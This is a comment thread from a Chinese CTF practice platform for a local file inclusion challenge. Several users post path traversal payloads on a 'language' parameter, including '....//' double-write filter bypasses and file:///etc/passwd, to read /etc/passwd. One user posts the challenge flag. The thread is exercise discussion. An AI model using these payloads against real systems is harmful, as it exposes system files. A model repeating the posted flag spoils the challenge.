评分(1)
解题动态
anya 攻破了该题 12分钟前
sann111 攻破了该题 1小时前
h1279300267 攻破了该题 14小时前
66666ctfxr 攻破了该题 20小时前
111222 攻破了该题 1天前
15206540508 攻破了该题 1天前
asfwefcwded 攻破了该题 2天前
higksc 攻破了该题 2天前
脉泰斯特 攻破了该题 2天前
lqianqian 攻破了该题 2天前
16690595968 攻破了该题 2天前
proll 攻破了该题 3天前
王八蛋 攻破了该题 5天前
all423 攻破了该题 7天前
cthugha721 攻破了该题 7天前
gcy111 攻破了该题 7天前
oomi 攻破了该题 8天前
caocao 攻破了该题 8天前
18639968965 攻破了该题 8天前
评论
小白帽来挖个漏洞 1年前
举报
解析：https://blog.csdn.net/guanrongl/article/details/142967307
阿甘先生 1年前
举报
?language=..//etc/passwd
jun1223 1年前
举报
?language=/etc/passwd 这也行
userxin 1年前
举报
?language=/../../../../../etc/passwd
hbesljx 1年前
举报
直接language=....//....//....//....//....//....//etc/passwd即可。..../过滤掉../后还是../
1005667204 1年前
举报
使用?language=./language/..././..././..././..././..././..././..././etc/passwd或者使用双写?language=/languages/....//....//....//....//....//....//etc/passwd
18993258097 1年前
举报
shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}
菜鸡的小韩 1年前
举报
这是一个基本的绕过，因为 str_replace('../', '',$_GET['language'])这串代码../会被替换成空格，所以要进行一个绕过，用..././来代替../ 。url中写?language=./..././..././..././..././..././etc/passwd即可
ABC第一深情 1年前
举报
/?language=/etc/passwd
曦羽unT0x1ns 1年前
举报
直接用file:///etc/passwd居然也行 oAo
13657809271 1年前
举报
我这样怎么不行